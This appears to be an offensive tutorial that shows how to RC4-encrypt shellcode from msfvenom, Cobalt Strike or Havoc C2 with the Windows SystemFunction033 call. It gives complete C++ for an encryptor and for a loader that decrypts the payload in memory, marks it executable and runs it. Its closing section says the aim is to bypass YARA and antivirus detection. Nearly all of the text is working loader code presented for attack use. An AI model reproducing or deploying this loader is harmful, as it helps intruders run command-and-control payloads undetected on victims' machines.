First you want your shellcode to encode (what a silly requirement 😂. You can get it from msfvenom or CobaltStrike or Havoc C2
If you got in raw format you can use below command to quickly turn it into cpp usable format
xxd -i shellcode.bin > shellcode.h
#include<windows.h>#include<Winbase.h>#include<iostream>#include<string>#include"shellcode.h"#pragmawarning(disable:4996)usingnamespace std;// Function prototype for SystemFunction033typedefNTSTATUS(WINAPI* _SystemFunction033)(structustring*memoryRegion,structustring*keyPointer);structustring { DWORD Length; DWORD MaximumLength; PVOID Buffer;} _data, key, _data2;intmain(){ _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"),"SystemFunction033");char _key[] ="alphaBetagamma"; //Hello //unsigned char shellcode[] = { 0x48,0x65,0x6c,0x6c,0x6f }; //Encrypted RC4 //unsigned char shellcode[] = { 0x41, 0xd6, 0xaa, 0x12, 0x8e };unsignedint shellcode_size =sizeof(shellcode); PVOID buffer =VirtualAlloc(NULL,sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Copy the character array to the allocated memory using memcpy. std::memcpy(buffer, shellcode, shellcode_size); //just setting null values at shellcode, cause why not memset(shellcode,0, shellcode_size); //Setting key valueskey.Buffer = (&_key);key.Length =sizeof(_key); //Setting shellcode in the struct for Systemfunction033_data.Buffer = buffer;_data.Length = shellcode_size; //Calling Systemfunction033SystemFunction033(&_data,&key); //Writing encrypted shellcode to bin file FILE* fp =fopen("enc_shellcode.bin","wb"); // Write the contents of the pvoid pointer to the file. They contents should be encryptedfwrite(buffer, shellcode_size,1, fp); // Close the filefclose(fp); //instead if you want to print out the mem contents /* for (unsigned int i = 0; i < _data.Length; i++) { cout << std::hex << (unsigned int)*((unsigned char*)buffer + i) << " "; } */return0;}
Check the file enc_shellcode.bin, you should have an encrypted shellcode
Shellcode Injection with Systemfunction033
Hoping you got the enc_shellcode.bin file now its time to get it decrypted in memory again
But first lets get your encrypted shellcode in cpp
xxd -i enc_shellcode.bin > enc_shellcode.h
Now once we have that header file lets begin simple injection in memory
#include<windows.h>#include<Winbase.h>#include<iostream>#include<string>#include"enc_shellcode.h"#pragmawarning(disable:4996)usingnamespace std;// Function prototype for SystemFunction033typedefNTSTATUS(WINAPI* _SystemFunction033)(structustring*memoryRegion,structustring*keyPointer);structustring { DWORD Length; DWORD MaximumLength; PVOID Buffer;} _data, key, _data2;intmain(){ _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"),"SystemFunction033");char _key[] ="alphaBetagamma";unsignedint shellcode_size =sizeof(shellcode); PVOID buffer =VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); // Copy the character array to the allocated memory using memcpy. std::memcpy(buffer, shellcode, shellcode_size); //just setting null values at shellcode, cause why not and why keep two copies in memorymemset(shellcode,0, shellcode_size);key.Buffer = (&_key);key.Length =sizeof(_key);_data.Buffer = buffer;_data.Length = shellcode_size;SystemFunction033(&_data,&key); DWORD oldProtect =0; BOOL ret =VirtualProtect((LPVOID)buffer, shellcode_size, PAGE_EXECUTE_READ,&oldProtect); ((void(*)())buffer)();WaitForSingleObject((HANDLE)-1,-1);return0;}
Benefits ?
Bypass YARA detection if you are using Single Byte XOR
Defeat the AV "On Injection" shellcode detection as the decryption happens after the shellcode is put in memory
You dont want to write error prone code of encoding and decoding